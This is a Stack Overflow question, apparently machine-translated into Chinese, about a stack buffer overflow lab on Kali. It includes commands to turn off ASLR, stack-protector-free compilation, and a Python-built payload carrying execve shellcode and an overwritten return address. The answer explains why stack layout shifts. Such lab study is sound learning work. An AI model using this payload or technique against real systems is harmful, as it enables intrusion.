c - 堆栈溢出 : Have no idea what modify the last one byte of the overwritten return address

标签 c security gdb stack-overflow exploit

我正在禁用 aslr 和 nx 进行堆栈溢出实验。但是 gdb 显示了一个奇怪的结果。

环境:

Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux

禁用 aslr:

echo 0 > /proc/sys/kernel/randomize_va_space

使用 execstatck 编译源代码(Debian 没有名为 exec-shield 的内核参数):

gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

问题描述如下:

(gdb) disas main
Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: sub    $0x208,%esp
   0x08048425 <+9>: mov    0xc(%ebp),%eax
   0x08048428 <+12>:    add    $0x4,%eax
   0x0804842b <+15>:    mov    (%eax),%eax
   0x0804842d <+17>:    mov    %eax,0x4(%esp)
   0x08048431 <+21>:    lea    -0x200(%ebp),%eax
   0x08048437 <+27>:    mov    %eax,(%esp)
   0x0804843a <+30>:    call   0x8048300 <strcpy@plt>
   0x0804843f <+35>:    mov    $0x0,%eax
   0x08048444 <+40>:    leave  
   0x08048445 <+41>:    ret    
End of assembler dump.

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`

Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()

程序被引导到 0xbafff87d 并崩溃。这是预料之中的。

所以我将地址从 0xbafff87d 更改为 shellcode 的地址:0xbffff87d。

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip            0xbffff88d   0xbffff88d

但是程序被引导到0xbffff88d而不是0xbffff87d而崩溃了。返回地址的最后一个字节被修改了。为什么?

我尝试在函数“离开”之前添加一个断点(0x08048444 <+40>:离开):

(gdb) b *0x08048444        
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp 
0xbffff518: 0x41414141  0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()

eip 仍然指向 0xbffff88d。

我无法弄清楚是什么导致返回地址被修改以及何时发生。

也许我在那里漏掉了一些知识。除了上面的问题,我还认为 gdb 有时会“缓存”调试程序的运行结果,因为有时 gdb 会在我已经更改参数的情况下向我显示相同的结果。

提前致谢:)

=======

更新回答 Leeor 的评论:

它也会在 gdb 之外崩溃。分段故障。 coredump 文件显示当出现段错误时 eip 为 0xbffff88b。(虽然我覆盖的值为 0xbffff87d,但修改了最后一个字节)

手动覆盖返回地址:

(gdb) b *0x08048444                                 
Breakpoint 1 at 0x8048444                           
(gdb) run test                                      
Starting program: /home/xxx/tests/a.out test    

Breakpoint 1, 0x08048444 in main ()                 
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xb7e7ae46                  
(gdb) x/2 0xbffff71c                                
0xbffff71c: 0xb7e7ae46  0x00000002                  
(gdb) set *0xbffff71c=0xbffff87d                    
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xbffff87d                  
(gdb) c                                             
Continuing.                                         

Program received signal SIGSEGV, Segmentation fault.                                                                          
0xbffff87d in ?? ()          

这正如我预期的那样工作(在 0xbffff87d 处没有有效的 shellcode,因为我使用参数 test 运行。我发现当发生“非法指令”错误时,gdb 仍然告诉你这是段错误).

但是当我用溢出负载运行它时它仍然无法工作:

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()

返回地址的最后一个字节被修改。

最佳答案

我会说执行首先到达正确的地址,只是那里的指令不会碰巧崩溃。尝试以下一些方法:

  1. 使用si代替c
  2. 0xbffff87d 上放置断点
  3. 反汇编代码在 0xbffff87d

由于你的地址在栈上,当栈布局改变时,内容可能会有所不同。请注意,命令行参数也在堆栈上,因此您使用 test 运行和实际负载使用不同的堆栈布局。

关于c - 堆栈溢出 : Have no idea what modify the last one byte of the overwritten return address,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/19077213/

相关文章:

javascript - 从 Javascript 访问 HTTP 身份验证信息

ubuntu - 是否可以在 gdb 中更改反汇编中的立即数是否以十六进制与十进制显示?

eclipse - 限制 Eclipse/GDB 可访问的地址范围

c++ - 为什么结构和 union 之间存在大小不匹配?

c++ - 内联和成员初始值设定项

ruby-on-rails - 在数据库中存储密码

c++ - GDB - 如何打破 "something is written to cout"?

c - C 中的循环不会中断

c - C发送方法是否释放缓冲区?

注入(inject) URL 的 Javascript